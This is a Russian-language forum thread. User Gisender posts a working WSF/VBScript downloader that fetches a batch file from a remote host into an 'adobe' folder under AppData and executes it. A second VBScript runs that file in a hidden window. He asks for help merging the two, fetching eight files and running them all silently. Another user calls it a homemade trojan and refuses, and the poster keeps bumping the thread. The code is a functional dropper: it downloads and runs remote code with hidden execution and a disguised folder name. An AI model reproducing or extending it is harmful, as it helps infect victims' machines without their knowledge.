Скачивание,открытие,wsf-vbs

[Gisender]

<?xml version='1.0' encoding='windows-1251' standalone='yes'?>
<job>
<script language='VBScript'>
<![CDATA[
Option Explicit

Const adTypeBinary = 1
Const adModeReadWrite = 3
Const adSaveCreateOverWrite = 2


Dim strUrl
Dim strDestPath

Dim objFSO
Dim objShell
Dim objXMLHTTPRequest

Dim strFullName


strUrl = "http://site.ru/1.bat"

Set objFSO = WScript.CreateObject("Scripting.FileSystemObject")
Set objShell = WScript.CreateObject("Shell.Application")

strDestPath = objFSO.BuildPath(objShell.NameSpace("shell:AppData").self.Path, "adobe")

If objFSO.FolderExists(strDestPath) Then
Set objXMLHTTPRequest = WScript.CreateObject("Msxml2.XMLHTTP")

objXMLHTTPRequest.Open "GET", strUrl,False
objXMLHTTPRequest.send

If objXMLHTTPRequest.status = 200 Then
strFullName = objFSO.BuildPath(strDestPath, objFSO.GetFileName(decodeURI(strUrl)))

With WScript.CreateObject("ADODB.Stream")
.Mode = adModeReadWrite
.Type = adTypeBinary
.Open
.Write objXMLHTTPRequest.responseBody
.SaveToFile strFullName, adSaveCreateOverWrite
End With

objShell.ShellExecute strFullName
Else
WScript.Echo "Status: " & CStr(objXMLHTTPRequest.status)
End If

Set objXMLHTTPRequest = Nothing
Else
WScript.Echo "Destination path [" & strDestPath & "] not found."
WScript.Quit 1
End If

Set objShell = Nothing
Set objFSO = Nothing

WScript.Quit 0
]]>
</script>

<script language='JScript'>
<![CDATA[
function decodeURI(sUrl) {
return decodeURI(sUrl);
}
]]>
</script>
</job>


WScript.Sleep 10000
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "(Путь Localappdata)\1.bat", 0, false
Set WshShell = Nothing
WScript.Quit

Подскажите пожалуйста как с первого wsf увеличить число скачиваемых файлов до 8,а после запустить их в "скрытом" режиме как во втором vbs и что бы все это было в 1 скрипте

[Iska]

Gisender, Вы по-прежнему настойчиво продолжаете пытаться сварганить «на коленке» свой троян. Зачем? Занялись бы действительно чем-нибудь полезным. Вашу б энергию, да в мирное русло…

[Gisender]

Да какой там "троян" я понимаю что это извращение,но я уже много сделал и не хочу бросать под конец,тем более осталось немного,помогите пожалуйста,последние действия остались,эта тема и еще та в которой вы не хотите не чего писать ))
P.S все работает уже проверял,так что для меня результат будет удовлетворительный
Что бы все работало как надо нужно доделать 2 файла,эту и ту тему и больше не буду мозолить своими темами вам глаза

[Gisender]

АП тему

[Gisender]

ап тему